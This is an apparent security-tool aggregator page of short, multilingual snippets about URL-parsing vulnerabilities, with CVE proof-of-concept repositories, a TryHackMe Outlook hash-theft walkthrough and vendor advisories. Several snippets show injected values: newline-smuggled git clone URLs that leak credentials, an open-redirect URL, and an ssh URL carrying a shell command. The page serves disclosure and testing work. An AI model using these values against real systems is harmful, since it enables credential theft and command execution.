Zeus-Scanner

Annuaire des liens utiles Qu'estce que Zeus Les caractéristiques de Zeus Exigences et installation Ubuntu/Debian centOS autre Capturesécran vidéo Demo manuel d'utilisation Comment fonctionne Zeus Fonctionnalité Passant drapeaux sqlmap avec Zeus Informations légales Licence GPL Code de conduite...

Airachnid-Burp-Extension

Web Cache Deception Burp Extension A Burp extension to test applications for vulnerability to the Web Cache Deception attack. Once the extension has been loaded, it can be accessed in the Target - Sitemap tab and right click on the resource that should be tested. A context sensitive menu item...

bypass-url-parser

Bypass Url Parser MANY URL 우회를 테스트하여 40X 보호 페이지에 도달하는 도구입니다. 이 코드가 단지 더러운 curl 래퍼일 뿐인 이유가 궁금하다면, 그 이유는 다음과 같습니다: 대부분의 Python 요청 라이브러리는 URL/경로/매개변수 인코딩/디코딩을 수행하는데, 저는 이것을 싫어합니다. 원시 문자를 제출하면, 원시 문자가 전송되기를 원합니다. 이상한 경로를 보내면, 정규화되지 않은 그대로 비정상적으로 보내기를 원합니다. 이것은 파싱, SSL/TLS 캡슐화 등의 라이브러리 이점을 모두 잃지 않고...

bypass-url-parser

Bypass Url Parser Tool that tests MANY url bypasses to reach a 40X protected page. If you wonder why this code is nothing but a dirty curl wrapper, here's why: Most of the python requests do url/path/parameter encoding/decoding, and I hate this. If I submit raw chars, I want raw chars to be sent...

CVE-2024-30043-XXE

CVE-2024-30043-XXE クレジット 本脆弱性の影響は現時点では限定的ですが、巧妙なバイパスアイデアを提供してくれた https://x.com/chudyPB に感謝します。 https://x.com/chudyPB https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud...

unfurl

unfurl stdin から与えられた URL の一部を取り出します インストール Go がインストールされ設定されている場合: root@kitploit: ▶ go install github.com/tomnomnom/unfurl@latest そうでない場合は、お使いのプラットフォーム向けの最新バイナリをダウンロードし、展開して $PATH の通った場所例: /usr/bin/に移動してください: root@kitploit: ▶ wget...

cve-2020-5260

cve-2020-5260 Heroku にデプロイできる cve-2020-5260 用の HTTP PoC エンドポイント クレジット情報 Google Project Zero の Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 脆弱性を発動する root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' PoC を...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260 デモ記録 git が git clone https://example.com のようなコマンドを実行する際、プロトコル "https" を使用してホスト "example.com" の資格情報を保存するよう要求し、リモート側で認証が要求された場合に、返された資格情報を発行したリクエストに追加します。 root@kitploit: git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 参考リンク:...

CVE-2024-22243

CVE-2024-22243 著者: Sean Pesce このプロジェクトは、Java Spring Framework における URL パースの脆弱性 CVE-2024-22243 の悪用可能なシナリオを示すサンプル Web アプリケーションを含んでいます（公式開示はこちら）。 脆弱性 影響を受けるバージョンの Spring は、URL の "userinfo" セグメント を独自の方法でパースし、その結果、他の多くの一般的なライブラリとは異なるホスト名セグメントを抽出する可能性があります。 異常な動作は、UriComponentsBuilder...

CVE-2023-41080

脆弱: http://localhost:8081//secret.html;@example.com 任意のWebサイトにリダイレクトされます（この場合は、https://example.com）。 修正済み: http://localhost:8082//secret.html;@example.com 参照: https://github.com/advisories/GHSA-q3mw-pvr8-9ggc...

CVE-2023-24329-Exploit

はじめに URL解析関数は、URL文字列をその構成要素に分割したり、URL構成要素をURL文字列に結合したりすることに焦点を当てています。 urllib.parse.urlparse 単純に urllib.parse はURLの解析に使用されますが、URLの前に空白を追加することでこれをバイパスできます。これはPython 3.11.4 以前で発生します。 PoC example.py を分解してみましょう アクセスしてはいけないウェブサイトのセットは次のとおりです: root@kitploit: blockedlist = "http://example.com/",...

tryhackme-monikerlink-writeup

TryHackMe：Moniker Link — CVE-2024-21413 演练 TryHackMe 的“Moniker Link”房间 的完整演练：将 2024 年 Microsoft Outlook 漏洞 CVE-2024-21413 武器化，在受害者点击钓鱼邮件中链接的瞬间窃取其 NTLMv2 哈希——不需要宏、不需要附件，也没有明显的安全警告。 CVE-2024-21413（“Moniker Link”）是 Outlook 验证使用 Windows OLE“moniker”语法的 file:// 链接时存在的一个漏洞（路径末尾多出一个 !，例如...

CVE-2023-51385-

安全でない /.ssh/config を介した RCE %h や %p のようなトークンの使用は、SSH.ProxyCommand を使用したトンネルと接続プロキシで非常に人気があります。 脆弱な設定 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注: 最初の評価では、一重引用符の '%h を使えば回避できると思っていましたが、次のようなものでは依然として脆弱であるようです: ssh://echo helloworld cve.txtfoo.example.com/bar 出典:...

CVE-2023-24329-PoC

CVE-2023-24329-PoC CVE-2023-24329に関する簡潔で有益なPoC: Python urllibの解析における欠陥。 root@kitploit: git clone https://github.com/H4R335HR/CVE-2023-24329-PoC cd CVE-2023-24329-PoC python3 CVE-2023-24329-PoC.py Yebo Cao氏の研究に基づく - https://pointernull.com/security/python-url-parse-problem.html...

EulerOS Virtualization 2.11.0 : python-requests (EulerOS-SA-2026-3554)

According to the versions of the python-requests packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : An unclaimed Amazon S3 bucket, 'codeconf', is referenced in an audio file link within the .rst documentation file. This...

Security Bulletin: IBM Virtualization Engine TS7700 is susceptible to multiple vulnerabilities in Python.

Summary IBM Virtualization Engine TS7700 is susceptible to two Tampering conditions and one potential Elevation of Privilege issue due to the use of Python CVE-2025-0938, CVE-2025-47273, CVE-2025-1795. TS7700 uses Python to perform operations with the Cloud and internal system configuration tasks...

Astra Linux – Vulnerability in python-webob

WebOb provides objects for HTTP requests and responses. When WebOb normalizes the HTTP Location header to include the request hostname, it does so by parsing the URL that the user will be redirected to using Python’s urlparse function, and joining that parsed URL to the base URL. However, the...

Astra Linux – Vulnerability in requests

Requests is an HTTP library. Due to an URL parsing issue, versions of Requests before 2.32.4 may expose .netrc credentials to third parties for specific, maliciously crafted URLs. Users should upgrade to version 2.32.4 to resolve this issue. For earlier versions of Requests, the use of the .netrc...

Astra Linux – Vulnerability in Firefox and Thunderbird

Firefox may have incorrectly parsed a URL and reverted it to the youtube.com domain during parsing of the URL specified in an embed tag. This could have bypassed website security checks that restrict which domains users are allowed to embed. This vulnerability was fixed in Firefox 140, Firefox ES...

Astra Linux – Vulnerability in Firefox and Thunderbird

The concurrent use of the URL parser with non-UTF-8 data was not thread-safe. This could lead to a “use-after-free” condition, resulting in a potentially exploitable crash. This vulnerability affects Firefox ESR 102.3, Thunderbird 102.3, and Firefox 105...